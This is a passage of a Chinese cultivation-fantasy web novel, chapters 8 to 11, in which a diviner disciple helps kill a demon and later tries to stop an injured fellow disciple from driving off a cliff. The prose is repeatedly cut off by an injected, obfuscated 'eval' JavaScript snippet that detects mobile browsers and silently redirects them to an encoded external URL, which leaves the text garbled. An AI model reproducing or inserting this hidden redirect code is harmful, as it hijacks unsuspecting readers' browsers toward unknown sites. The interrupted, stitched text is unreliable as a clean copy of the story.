“!”夏清表情痛苦。 她的脚扭了,暂时动不了。 见柳菡云惊疑不定,左右为难,夏清猛吸一口气道:“你别管我,先去看看怎么回事!” 柳菡云犹豫:“可你……” “我没事!”夏清当机立断,“我会很快追上来!” 夏清态度坚决,江师妹的声音也的确叫人忧心,柳菡云不再迟疑,叮嘱夏清自己当心后便扭头钻进林子里。 柳菡云离开之后,夏清原地僵着缓了片刻,等脚踝疼痛稍缓,她努力把自己的腿掰正,站起来。 不知道柳菡云和江师妹怎么样了,夏清忧心忡忡。 水山蹇,是风云变幻之象,知险而止,则无虞,不止则必有灾殃。 可有的时候,明知山有虎,也不得不向虎山行。 今日之事,她不能袖手旁观。 夏清定了神,心念一动,迅速掐指推算。 先天卦序,乾、兑、离、震、巽、坎、艮、坤。 日立中天,身下无影,午时变三。 变卦,水地比。 蹇卦变比卦,先凶而后吉。 此局无他解,唯三人成众,方可化险为夷。 夏清忍着脚踝疼痛,不再耽搁,一瘸一拐地动身。 · 柳菡云冲进密林,循着方才声音来处一路奔走,很快发现昏迷在地的江梓秋。 “师妹!”柳菡云高声呼唤,快步走近。 江梓秋双眼紧闭,没有回应,四周地面上散落着不少血迹。。 柳菡云迅速握住她的手腕试探脉象,一息尚存。 其后腰处有一道明显外伤,皮开肉绽,血流如注。 未有丝毫犹豫,柳菡云施法先封住伤口,随后双手抱起江梓秋。 江梓秋伤得如此之重,虽不明缘由,但救人要紧,柳菡云打算先撤退,带江梓秋回洲疗伤。 可她刚一转身,后背倏地蹿起一阵凉意。 念及江梓秋背后的伤,柳菡云抽出腰间玉扇,反手朝侧腰处挥出一道锐气。 腰后霎时当一声响,气机相撞,来袭之刃落空。 柳菡云旋身后撤,偷袭者也被反震之力弹开,显出其原本样貌。 那是一个人。 哦不,是人首兽身的怪物。 他的身体结构像直立行走的野兽,两臂覆盖着厚厚的鬃毛,指甲足有半尺那么长。 长了一张人脸,但怎么也不能以人相称。 柳菡云反应过来。 是魔! 魔族怎么会出现在仙界?! 下一瞬,她又有新的发现,此魔受了极重的伤,身上皮毛已被鲜血浸透。 可他虽然伤重,却远不到强弩之末的程度。 耽搁越久,他就越危险,紫霄峰上那几个老家伙,甚至白镜玄,随时都有可能追来。 原以为杀了江梓秋,毁尸灭迹就能脱身,没想到立即赶来一个柳菡云,叫他没来得及给江梓秋最后一击。 如此一来,他又得多杀一个。 魔人二话不说挥起手掌,亮出锋利的指甲。 虚空被撕开层层缝隙,森寒魔气化作一片片黑色的月牙镰刀斩向柳菡云。 柳菡云抱着江梓秋左躲右闪,不时甩出几道风刃,击落盘旋飞来的刀气。 魔人受了伤,柳菡云带着拖油瓶,一时间难决高下,但缠斗对他们彼此而言都是折磨。 “我允许你带她走。”魔人哑着声开口,“但你必须发誓不告诉任何人见过我,否则我现在就杀了你们!我不能活,你们都要给我陪葬!” 只要藏得一时,他就有办法脱身。 柳菡云陷入两难。 江梓秋,要救,可这魔人,她也不能放走。 “休想蛊惑我!”柳菡云两相权衡之下,选择拖延时间。 此魔既受如此重伤,且不惜放她们走也要即刻脱身,说明峰上长老已有应对,很快就会赶来。 而且,夏清也在来的路上,距离此地不远。 虽然夏清修为不高,但那一手卜算秘术出神入化。 柳菡云对夏清有着莫名的信心,夏师妹既能算到此险,想必也能算出化解之法。 她的回答彻底激怒魔人。 魔人怒啸一声,咬牙切齿:“既然如此,你们都给我死!” 方才是为一线生机保存实力,如今柳菡云非要阻挠,他前路无生,自当临死反扑。 幽紫色的魔气自他伤口源源不断涌出,环绕在他身体四周,他的肉身肌肉虬结,猛力挥出一掌,几有雷霆之威,势如万均。 柳菡云心下凛然,抱着江梓秋抽身飞退。 魔人一掌拍在地上,霎时地动山摇,大地崩开一尺宽的裂缝。 飞石攒射而来,铺天盖地,所有道路都被封死。 这是什么开山裂石之功! 柳菡云听说过魔人肉身力量恐怖,不曾想竟到如此地步,对方修为放在仙界,少说也是一个真仙水平。 若只有她一个人,定能与此魔一较高下,可她怀里抱着江梓秋,行动大大受限。 招已临身,她的法术只能护住一个人。 电光石火之间,柳菡云做出决断。 她甩开玉扇,一道风墙在面前展开,挡住大部分石头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822072|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风墙两侧薄弱之处透来几枚漏网的石子,速度比起最初已减缓许多。 柳菡云抬臂抵挡,便听噗噗几声闷响,石子尖锐的棱角嵌入她的臂膀。 鲜血四溅,她却眼睛也没眨一下。 忽然间大地震颤,柳菡云眼前一暗。 抬头,便见魔人举起一棵十丈长的老树,将那树干舞得虎虎生风。 若被那老树枝丫扫中,只怕不死也要去掉半条命。 柳菡云一退再退,退无可退! “他的要害在腰部!”不远处陡坡上忽然传来一声厉喝,夏清高声喊道,“柳师姐,你用法术限制他行动,把他逼过来!” 柳菡云甩手震落碎石,不假思索招回玉扇,单手掐出一个法诀。 玉扇在半空之中盘旋两圈,倏而大力向下一扣,十余风刃拔地而起,交错着逼向魔人。 风刃快如闪电,魔人将树干横在身前。 噔——噔——噔—— 每一把风刀击中树干,魔人都会承受一股巨力,双腿一退再退,所过之处,地皮都被刮起来一层。 不觉间,他已退到陡坡之下。 倏然,巨大的黑影笼罩了他的身体,一股不详的预感猝不及防地涌向心尖。 魔人猛地回头,便见一块半人高的大圆石顺着陡坡飞速滚落。 来不及闪躲,那石头触底弹起两尺高,正好击中魔人后背,从他脊梁骨上无情地碾过去。 柳菡云远远见到这一幕,目瞪口呆。 眼见巨石顺着地上魔人劈开的地缝朝她冲过来,她抱着江梓秋迅速跳开,巨石轰隆隆碾过,至百丈开外才停下来。 而那魔人被巨石击中之后虽然还活着,但脊梁骨被碾得稀碎,趴在地上一动不能动。 夏清站在高处眺望坡下,再三确认魔人已无反抗之力,这才顺坡跃下,快步走向柳菡云:“你们怎么样?!” 从魔人旁边经过时,夏清突然背脊一凉,像被毒蛇盯上,如芒在背。 她迅速扭头,见那魔人以古怪姿态趴伏在地,一双猩红的眼睛死死盯着她。 他的眼神中充斥着无处安放的怨毒与愤怒。 夏清心头一咯噔。 刹那间,她想起来,她见过这个人。 身后,柳菡云经过刚才一场大战体力也快消耗殆尽,闻言回答:“我没事,但江师妹伤得很重,需要立即疗伤,夏师妹,我们快走!” 夏清站着没动。 柳菡云不由催促:“夏师妹?!” “你带她走。”夏清背对柳菡云说道,“我脚程不快,会拖你的后腿,不如就在这里等长老们来。” 柳菡云一想,是这么个理儿,估摸着长老们也该到了。 魔人已无反抗之力,夏清一人足以应对。 她点点头,有了决断:“那你自己当心。” 言罢,抱着江梓秋迅速离去。 魔人将死,只剩出的气没有进的气了,他却表情狰狞,恨不得将夏清生吞活剥。 “……你悖逆尊上,不得好死!” 夏清面无表情举起一块人头大小的石头。 “哦。” 轰—— 骨裂声脆,暗紫色的鲜血汩汩洇开,直淌到夏清脚边。 9. 第九章 不久后,身后响起意料之外的惊呼声。 “清儿!” 夏清疑惑抬头,来人竟是白镜玄? 下一瞬,身体突然失重,周遭景象闪变。 眨眼之间,她已从魔人身侧来到十丈之外的半空,一条胳膊凭空出现,搂住她的腰身,将她揽入怀中。 夏清不习惯被人抱,别别扭扭地侧了侧肩膀。 未果,她眨巴眨巴眼睛试探轻唤:“师尊?” 白镜玄一脸掩不住的惊怒,开口语气忐忑,嗓音颤了颤:“你怎么会在这儿?” 她追着魔人气息寻来,远远看到夏清一个人的背影,那一刻,心跳都差点停了。 难道夏清还与魔人交手了?! 夏清倒是平静:“我在等你。” 剧烈起伏的情绪被夏清一句话扑灭,连个泡影都不剩。 白镜玄心情放松下来,拥着夏清缓缓落地。 夏清:“嘶——” 白镜玄又一次紧张:“你受伤了?!” “没有,只是扭了脚,有点痛。”夏清摇着头回答,“师尊,你冷静一点,不要一惊一乍。” 这样咋咋呼呼的,一点也不高冷,太没有一峰之主的风范了。 白镜玄受了点儿刺激,权当她的话是耳旁风,注意力全在夏清的脚上:“你坐下,我看看。” 夏清拗不过,被白镜玄放倒在路旁一块石头上。 白镜玄不由分说捏住她的小腿,没等夏清反应过来,鞋子便已被白镜玄脱掉。 五根漂亮的手指隔着一层薄薄的袜子小心触碰夏清的脚踝,温热的气流渗入肌肤,涌进经络之中,疼痛奇迹般地消失了,取而代之是一种酥酥麻麻的感受。 夏清耳根子微微泛红,尴尬道:“师尊,你这样……被人看到不好。” “有什么不好的?”白镜玄头也不抬,仔细为夏清疗伤,“我为自己徒儿看伤,还需在乎别人脸色不成?” 夏清:“。” 好像也没错。 对于白镜玄所做一切,在外人看来,只会理解成她们师徒情深。 夏清没有继续这个话题,转而言道:“那魔头已经死了,我和柳师姐一起杀了他。” “柳菡云?”白镜玄终于抬了抬眼,蹙眉疑惑,“你怎么会跟她在一块儿?她人呢?” 夏清只好将自己下山途中遇见柳菡云的经过细细讲来。 白镜玄听罢,若有所思:“原来如此。” 夏清脚踝伤势好转,白镜玄替她重新穿好鞋袜,这才放下她的脚。 唰唰唰—— 几道身影先后蹿出丛林,是前来追击魔人的执事和长老,其中几人身上还负着伤。 见到白镜玄,众人大惊失色,纳头便拜:“峰主!” 白镜玄摆摆手,他们便自行退开,一窝蜂奔向魔人。 领队长老仔细检查了魔人尸首,见其颅骨被石头砸碎,脑花散得捡都捡不起来,已断气多时,摇头道:“死了,线索彻底断了。” 随行执事闻言追问:“难道他不是罪魁祸首?” “他当然是,毫无疑问。”领队长老语气无奈,“这条大鱼如果不死,没准儿能问出魔族的目的,可惜现在死无对证,查不下去了。” 夏清竖起耳朵,听到此处,心里暗自松了一口气,便不动声色地转开视线,问白镜玄:“这事儿之后怎么处理?” 白镜玄将夏清上上下下检查一遍,确认她身上没有别的伤势,闻言看也没朝那边看一眼,回答道:“没有后续线索,只能不了了之。” 夏清彻底放心,颇感慨地小声说道:“师尊不久前才说过的话,没想到这么快就应验了。” 白镜玄握着夏清一只手,神色并不轻松,薄唇轻抿,不知在想什么。 夏清也不再开口,合上双眼闭目养神。 “夏师妹!” 柳菡云的呼唤声远远传来。 夏清闻声睁眼,见柳菡云疾步走来,到她们面前时先向白镜玄行了一礼。 夏清仰头望着她问:“你怎么回来了?” “我还是有点不放心,所以回来看看。”柳菡云回答她,复而关心道,“你脚上的伤怎么样了?” 夏清朝柳菡云笑了笑:“已经没事了,江师妹还好吗?” “救治及时,保住了性命,但伤得比较严重,需卧床一些时日……” 白镜玄看一眼夏清,又瞧瞧柳菡云,二人见面就愉快地聊起来,看起来关系不错。 夏清语气轻松,脸上笑容好像比和自己在一起时更多。白镜玄闷闷不乐。 “今日若无夏师妹在场,江师妹恐怕凶多吉少。”柳菡云握住夏清的手,真诚地表达感谢,“要是江师妹真有个三长两短,我也难辞其咎,夏师妹是我和江师妹的救命恩人!” 夏清被柳菡云一本正经的样子逗笑了:“言重了,师姐,我可没那么大本事,江师妹得救是你的功劳不是我。” “得,咱都别说了!”柳菡云爽快地摆了摆手,“从今往后,夏师妹,你就是我的异姓姐妹,我们今日起义结金兰,往后师妹你但有所需,我柳菡云上刀山下火海,在所不辞!” 这热情过于炽烈,夏清躲闪不及。 眼看柳菡云就要拉着夏清跪下叩请天地,突然从旁伸来一只手。 啪—— 把柳菡云的手从夏清胳膊上拍下来。 白镜玄面色不善,谴责柳菡云:“你要与本座徒儿结拜,可曾问过本座答不答应?” 柳菡云愣住,一脸懵逼。 夏清:“。” 柳菡云愣怔须臾回神,小心翼翼地问:“那,峰主,我欲与夏师妹……” 白镜玄眉梢一挑,冷冰冰吐出两个字:“不行。” 柳菡云:“……” 夏清扶额。 “清儿,随为师回府。” 白镜玄一声令下,夏清只得朝柳菡云挥挥手:“回见,师姐。” 柳菡云朝夏清挤挤眼睛:峰主咋还要管你跟谁结拜啊? 夏清无奈耸肩,不答。 回程比下山简单,白镜玄修为高深,空间秘法臻入化境,一转眼她们就回到洞府中。 白镜玄的洞府建在山顶风景最秀美之处,遥看是一座不大的小院,茅棚竹舍,依山傍水,清雅幽僻,入室则华光流转,内有乾坤。 眼下日头还不算晚,白镜玄对夏清道:“你就在此地修炼,旁事不需操心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822073|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说完,推开门走出去,留夏清独自一人待在屋里。 夏清原地站了片刻,暗自思忖。 完了,白镜玄好像生气了。 白镜玄生气,意味着好感度降低,好感度降低就代表仙侣滤镜减轻,仙侣滤镜减轻可能导致白镜玄恢复理性,从而注意到生活中微妙异样的细节,加快记忆恢复。 这对夏清而言,无异于一场可怕的灾难。 在她做好逃离的准备之前,她得稳住白镜玄,不能让白镜玄的注意力从她身上转移出去。 既要让白镜玄的恋爱脑暂时治不好,又不能让白镜玄对她过多束缚,这真是一门复杂的情商哲学。 隔壁书房,白镜玄手里拿着本书坐在窗户旁,双眼盯着书上文字,良久一动不动。 倏然窗边冒出一颗脑袋:“师尊?” 白镜玄回神,目光流转斜睨夏清一眼,但很快又挪开。 她稍稍侧身背对窗户,手里书轻轻翻过一页。 夏清眨巴眨巴眼睛。 好嘛,在赌气,赌气就还有救。 吱呀一声,房门打开。 夏清绕过矮几来到白镜玄跟前,大胆伸手,捏住书脊把它往下拨,直至能看见白镜玄的眼睛。 “师尊。”夏清又唤一声,“理理我嘛。” 白镜玄神色淡淡的,故意不看她:“你不是应当在屋里修炼吗?” 夏清可怜巴巴:“试过了,但进度特别慢,感觉不如师尊在的时候顺利。” 白镜玄闻言,唇角欲往上翘,险险被理智压下,故作板正:“贪功冒进不可取,修炼只能一步一个脚印慢慢来。” “师尊教诲的是。”夏清点头如捣蒜。 白镜玄瞥她一眼,端着架子说:“既明白了,就去修炼吧。” 夏清不仅没走,还在白镜玄身旁另一张蒲团上坐下,大大咧咧地拍板:“今儿天色已晚,明天再修炼。” 白镜玄看一眼窗外明媚的日光,轻哼:“哪里晚?” “诶,不要这么无情嘛!”夏清往茶几上一趴,耍起无赖,揪住白镜玄的衣袖,左一下右一下摇晃,“师尊,白老师?” 白镜玄看似无动于衷,夏清略受打击,决定暂缓攻势歇一歇。 顺便给自己倒杯热茶解解渴。 忽然,白镜玄没由来冒出一句:“……我很老吗?” 夏清顿了两秒才明白过来白镜玄为什么这么问,一时绷不住,噗嗤笑开,刚饮的茶水全喷白镜玄身上。 白镜玄整张脸都黑了。 夏清笑得停不下来,被茶水呛得连咳好几声。 好不容易缓过劲,提起衣领替白镜玄擦擦衣摆,同时解释道:“老师是一种敬称,师父之于弟子就如老师之于学生,跟年龄没有关系。” 白镜玄面色稍霁,但还是不虞:“换个称呼,我不喜欢。” 顿了顿,补充说明:“也不要叫师尊。” 她垂下眼眸盯着书上的字,别别扭扭开口,“换个……比师尊、老师听来更亲昵的。” 譬如“镜玄”什么的。 “那我明白了!” 夏清了然,张口就来,“师尊,卿卿?” 白镜玄:“!” 10. 第十章 话音落下许久,对面的人半点动静也没有。 夏清狐疑。 细看,白镜玄捧着书出神,眼神涣散,耳朵尖儿白里透红。 夏清试探着再唤一声:“卿卿?” 那双粉粉的耳朵更红了。 红晕不止于双耳,还有向脸颊迅速扩散的趋势。 夏清颇觉稀奇,得寸进尺:“卿卿,卿卿?” 白镜玄羞到极处,恼羞成怒。 她手里的书往桌上一放:“不许再叫了。” “为什么?”夏清装作不懂的样子,真诚发问,“这么好听的昵称师尊也不喜欢吗?” 白镜玄:“……” 夏清明白了,咧嘴笑开:“卿卿不是不喜欢,是害羞了对不对?” 白镜玄面泛薄红,忍无可忍。 于是,她嗖地一下从夏清眼前消失了。 没来得及带走的书啪嗒一声跌落在茶几上。 “哈哈哈哈!!” 夏清安静两秒彻底不装了,笑得停不下来,没想到白镜玄竟然这么不经逗。 她捡起被白镜玄落下的小册子,翻开书页,瞧瞧白镜玄在看什么书。 《仙侣相处疑难杂解一百问》 夏清:“???” · 接下来好长一阵子,夏清都没有见到白镜玄。 起先她还有点担心是不是玩笑开得太过起了反效果,导致白镜玄心态大崩,再也不理她了。 是秦长老找来,告诉她说,白镜玄突然有事需要离开紫霄峰一段时间,让她这几天的修行任务自己安排。 哦,原来是出差去了。 白镜玄身为紫霄峰之主,手下那么多长老执事和弟子,哪可能真的这么闲,能天天围着她转?夏清表示理解。 天梁洲那魔人已死,危机暂时解除,白镜玄也不在峰上,悬在夏清头顶的达摩克利斯之剑短时间内不会掉下来。 夏清乐得轻松,她的逃跑大计也该提上日程。 之前的年比出了结果,紫霄峰报给九瑶川参与群峰试炼的名单和最初拟定的大差不差,只不过多了一个夏清。 通过群峰试炼的弟子有机会进仙宫修行,夏清敲敲黑板,划重点。 这就是机会。 时间很紧,只剩不足三个月。 夏清抽空回洞府清点了自己的东西,确保没有留下引人怀疑的蛛丝马迹,随后便一心闭关潜修。 自上回双修,白镜玄替她打通周身经络,她便明显感觉自己的五官变得更加敏锐,爬坡上坎儿的速度和耐力也都大大增加。 夏清开始试着用白镜玄教她的方法打坐修炼。 然而,在二十一世纪高科技时代受电子设备荼毒的年轻人,注意力很难长时间集中。 一开始夏清一次打坐冥想只能坐半个小时。 随着她日日勤勉修行,入定的时间越来越长,从最初的两个小时,慢慢地增长到四个小时。 两个月后,夏清已能做到一坐一整夜。 修炼还是有诸多好处的,修炼的过程中,夏清思绪放空,注意力高度集中,她能清晰感觉自己的精神状态越来越好,每天睁眼到天黑,不会轻易犯困。 精力充沛所带来的最明显效果,就是她卜卦的速度越来越快。 眼到就意到,意到心就到,几乎意念一动便可成卦。 不过,她还是喜欢更传统的起卦方式。 叮啷,铜钱落地成卦。 泽山咸。 欲远行而不利,需虚心以待人。 这段时间,每天早上夏清睁眼醒来之后都会给自己卜上一卦。 看天时和地利是否站在她这一边。 夏清暗叹一口气,还不到时机。 既不到时机,就再等。 夏清拍拍袖子起身,去洞府外面儿放放风。 她穿越到此地已有两个月了,长时间脱离现代社会,生活习惯都改了大半,偶尔在入定时照见前尘往事,还会产生似梦非梦的恍惚感受。 白镜玄离峰外出还未回来。 她走得匆忙,具体去做什么夏清也不知道,但秦长老隐晦的言辞与夏清自己卜算的卦象来看,大抵与前阵子那名魔族卧底有关。 说起来,她穿来才认识白镜玄,拢共相处也不过两三天。 白镜玄对她而言,大抵算得上是一个长得漂亮又对她颇为照顾的顶头上司。 谁不喜欢与美人相处?若不是她的隐藏身份暴露了必死无疑,她也愿意一直待在紫霄峰。 思绪万千,夏清在院中踱了一圈又一圈方步。 某时,院门外忽然响起急匆匆的脚步声。 夏清倏地抬头:“师……” “师妹!”一道人影推开院门闯进来,截断夏清的声音。 夏清眼中喜色消退,意外道:“柳师姐?” 来人正是柳菡云。 她行色匆匆,一路小跑过来,气喘吁吁:“夏,夏师妹!大事不好!” “怎么了?”夏清一头雾水,见柳菡云急得满头大汗,忍不住劝,“师姐,你别着急,慢慢说。” 柳菡云做了几个深呼吸,喘匀了气,这才开口:“江师妹失踪了!” 夏清大惊:“什么?!失踪?” 江梓秋之前与魔人交手受伤,虽及时医治保住了性命,但醒来后下半身失去了知觉。 洲主湘忆颜替其诊治之后判断是因腰椎骨伤导致,骨伤不愈就无法起身,换言之,江梓秋这伤如果治不好,以后怕是会一直坐在轮椅上。 一个受了重伤,只能卧床不起的人,怎么会突然失踪呢? “对!”柳菡云神态焦急,“今儿一大早我去看望江师妹,发现她洞府中空无一人,我在洲内问过一圈,没人见到她。” 柳菡云话音落下,一只红色的鸟儿忽然振翅飞起,在空中盘旋一圈,叽叽喳喳叫个不停,最后往西飞去。 夏清心念一动。 离火在上,兑金坐下。 火泽睽,金火相战之象。 睽者,心意相悖,二女同行,其志却异,非吉兆。 互卦水火既济,辰时变四,变卦为损,其势先吉后凶。 好在上卦离火变艮山,由金火相战之局化作金土相生之象。 损中有益,益中有损,并非毫无转圜之机。 “柳师姐,你别着急。”夏清出声劝慰,并问,“江师妹的轮椅还在不在?” 柳菡云想了想,回答:“不在。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822074|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏清叹息一声,无奈道:“那就是了,江师妹是因愁绪郁结于心,一时想不开,自己出去的。” 柳菡云惊讶:“这你都算到了?” “不错。”夏清点点头,“眼下尚不需担心,我们去西边儿看得到日落的地方等她。” 柳菡云闻言琢磨:“西边,看得到日落的地方……溪云台!” 溪云台位在紫霄峰西侧,是一片植被比较稀疏的土坡,因为周围没有什么遮挡,所以视野辽阔,可以看到很远之外的山景。 但从夏清的洞府到溪云峰还有段距离,她们徒步走过去得要好几个时辰。 夏清算了算时间:“即刻便走,我们要在酉时之前赶到,还得找个地方躲起来,不要被江师妹发现。” 柳菡云被夏清这几句嘱咐说蒙了,愣怔道:“这是为何?” “来不及解释了。”夏清推搡柳菡云,催促道,“你按我说的做,别问那么多为什么。” 柳菡云一头雾水。 但自她认识夏清以来,夏清的卦从未出错。 夏清如此急迫,必然有其缘由,柳菡云不再多问,当即与夏清一同前往溪云台。 抵达溪云台时已是申时过半,台上空空,没有人来。 柳菡云抹了把额前的汗:“没人,夏师妹,江师妹她真会来吗?” 夏清不答,绕着溪云台四处打量一圈,物色藏身之处。 斜阳渐渐西落,临近酉时,柳菡云率先听见山坡下传来异响。 是轮椅在法力作用下,艰难爬坡的声音。 柳菡云精神一震:“来了!” 夏清一把捂住柳菡云的嘴,推着她躲进临近崖边的一块大石头后面。 她们在石头后等了片刻,轮椅滚动的声音越来越近。 不多时,今早失踪的江梓秋终于出现在夏清二人视野中。 她伤在腰,下肢已没有知觉,行动不便,好不容易来到崖上,座下轮椅已磕碰出许多损伤的痕迹,身上的衣服也皱巴巴的,不知多久没有整理了。 见江梓秋如此,柳菡云满眼愧疚。 如果不是她懒睡晚起,江梓秋不会独自遭遇魔人,变成如今这个样子。 江梓秋驱使轮椅来到崖边。 这里是整个溪云台风景最好的地方,能看得最远。 柳菡云与夏清对视一眼,夏清朝她摇了摇头,示意她不要在此时妄动。 下一秒,石头后面却传来声音:“柳师姐。” 柳菡云吓了一跳,猛地回头。 身后,江梓秋神色哀伤,望着远处渐渐坠落的夕阳,自言自语。 “柳师姐天赋异禀,实为人中龙凤,而我资质有限,十世苦修也未必能追赶师姐,如今苍天又收走我一双腿,是要告诉我,别再执念么?” 江梓秋面露苦笑:“可我……放不下,也等不了。” “今生无缘,就来世再见吧。” 话音落,她闭上眼,屈指掐诀,用仅剩的一点法力驱动轮椅。 木轮滚动,载着座椅上的人冲向山崖。 柳菡云脸色骤变。 身旁夏清一个箭步急蹿出去,扯着嗓子大喊:“你愣着干什么,救人啊!” 柳菡云:“!!!” 11. 第十一章 夏清狂奔向山崖,伸手住轮椅椅背,用力往回拉。 但轮椅不仅沉,而且冲势太猛,拉扯之间,险些把她两条胳膊拽脱臼。 江梓秋已做好赴死的准备,不料会有人突然出现,惊愕之余,手诀一松,驱动轮椅的法术被迫中止。 即便如此,轮椅也没有停下来的迹象。 一股巨力拖着夏清向前滑动,她的双脚在地面上蹬出两道白杠,鞋底几乎擦出火花。 悬崖极速逼近,夏清惊恐大喊:“救命!!!” 眼看她们连人带轮椅就要翻下崖去,忽然一阵劲风迎面吹来,在夏清脸上一阵狂拍。 与此同时,柳菡云的玉扇盘旋着飞来,闪电般斜斜刺入木轮撑杆而间,给轮椅上了个急刹。 轮椅突然急停,江梓秋猝不及防,身体受惯性牵引短暂腾空,离开轮椅朝前扑。 身前半步之外就是悬崖,坠落感如死神的召唤,牢牢摄住了她。 虽然出了点意外,但终归结局没有改变。 江梓秋绝望地闭上双眼。 “江师妹!” 坠落途中,一声惊呼追上她。 像灵魂深处传来的回响,震耳欲聋。 江梓秋:“!” 她猛地睁开眼,便见熟悉的人影自崖上一跃而下,乘着风朝她追过来。 “柳师姐?!” 江梓秋惊骇欲绝。 只身赴死不曾让她感到恐惧,却在看见柳菡云跳下山崖那一瞬,她几乎吓得魂飞魄散。 与江梓秋的惊恐相反,柳菡云的眼神平静却决绝,视线牢牢锁定江梓秋。 江梓秋惊慌失措:“你为什么……” 话未说完,柳菡云已追至跟前,不由分说抓住她的手。 她们一起顺着山腰坠落。 崖上,夏清独自抓着一把空轮椅,风中凌乱。 啊啊啊啊啊怎会如此! 惊惧之余,夏清双腿发软,伴随一阵头晕,扑通一声跌坐在地。 恍惚间,脑海中再次投射出一些画面。 江梓秋坠崖身亡,消息传入柳菡云耳中时已是第二日傍晚。柳菡云为此大受刺激,埋下往后许多年都无法释然的心结。 头晕的感觉缓缓褪去,夏清意识逐渐清醒。 据以往经验判断,方才映射在她脑海中的应该是原书中的剧情内容。 江梓秋的死亡对柳菡云造成巨大打击,这件事同时也成为日后柳菡云刻苦修炼,誓要铲平魔族为江梓秋报仇的导火索。 夏清惊出一身冷汗,她把轮椅一扔,二话不说撒开腿往山下跑。 天同洲洲主湘忆颜从夏清口中获知此事,亦是脸色大变,赶忙召集人手去峰西侧寻找柳菡云和江梓秋。 搜索过程持续到深夜,一直没有传来两人的消息,夏清心急如焚。 山里道路崎岖,而她修为低微,前往搜救的人员走得匆忙,为防她拖后腿,便没有带她。 为了能第一时间获知搜救进展,夏清留在天同洲洲府等候消息。 久等不来,夏清心一横,以铜钱起卦。 得出卦象泽天夬。 夬卦,怪也,吉凶未定,若无决断,迟则生变。 眼下正是子时,变爻为四,变卦水天需。 需者,金生水,主生客,有乌云障目之象,走失之人处境艰难,正苦苦等待。 得此卦,夏清心凉了半截。 照这样若等到天亮,柳菡云和江梓秋只怕是凶多吉少。 “不能再等了!”夏清站起身,推开门往外走。 可她没走几步便被天同洲的执事拦下:“你要去哪儿?” 夏清执意往前:“我要去找柳师姐和江师妹!” “你不能去!”执事抬臂阻拦她的去路,“入夜之后,紫霄峰上雾瘴弥漫,凶兽横行,真仙修为以上的高手进入雾瘴都容易去而不返,你去也不过是白白送命!” “我必须去!”夏清坚持,“我能找到她们!” 执事只当她在逞强,不予理会,态度强硬地劝阻:“你若不肯听劝,我们就只好得罪了!” 峰内已有两名弟子失踪,若夏清再有三长两短,后果不堪设想。 他们没法向峰主交代。 便在此时,湘忆颜搜山未果,回到洲府。 夏清猛地撞开执事冲过去:“湘洲主!请你带我去找柳师姐和江师妹!” 执事大惊:“夏清!” 再阻拦已来不及,夏清转眼就奔到湘忆颜跟前。 湘忆颜刚从西山回来,神情疲惫,听得夏清此言,无奈叹息:“你去又有什么用呢?” 柳菡云与江梓秋都是她门下的弟子,她怎会不着急? 可紫霄峰山势险峻,地形又复杂多变,找两个坠崖之人几如大海捞针,她把能调动的人都叫去搜山,真仙以上修为的执事和长老几乎倾巢而出,如此都没有找到她们。 夏清目光炯炯,大声说道:“我有办法!” 执事劝阻:“夏清,你不要胡闹!” 夏清不搭理他,只目不转睛望着湘忆颜:“事已至此,死马当作活马医,不试试怎么知道不行?!” 执事怒极,准备把夏清强行拖走。 “等等!”湘忆颜出声。 她看向夏清:“你要怎么找?” 夏清果断回答:“我刚才用占卜秘术卜了一卦,卦象显示她们在溪云台西偏北的方向,周围多岩石,有开阔的圆形水潭,水是活水,出口向北!” 湘忆颜神色一凛。 未等她开口,身后一名随行执事已脱口而出:“是有一座水潭!圆形的!” 另一人紧接着说道:“可我们经过水潭时,并未寻见柳菡云和江梓秋的踪影!” 夏清咬紧牙关。 在场几人面面相觑,不约而同全看向湘忆颜。 先前阻拦夏清的执事也放缓态度,等着湘忆颜发话。 迎着夏清的眼神,湘忆颜暗暗吃惊。 西山最为荒僻,平日鲜有人去,以夏清的修为,自不可能了解西山的地形。 如此她竟能一口描绘出水潭附近的地貌。 湘忆颜心念电转,沉声应道:“本座信你一次。” 话音落下,虚空颤动。 夏清感觉自己脖子一紧,转眼间,湘忆颜便带着她出现在目标场所。 她们悬在半空之中,湘忆颜一只手拎着夏清背上的衣服,以免她掉落摔伤。 山间雾瘴弥漫,隐约可见脚下呈现一座圆形深潭。 天光晦暗,水色深深,这水面像一张兽口,似乎随时会从浓雾后一跃而起,将她们吞入腹中。 此地东南侧是垂直向上的山壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 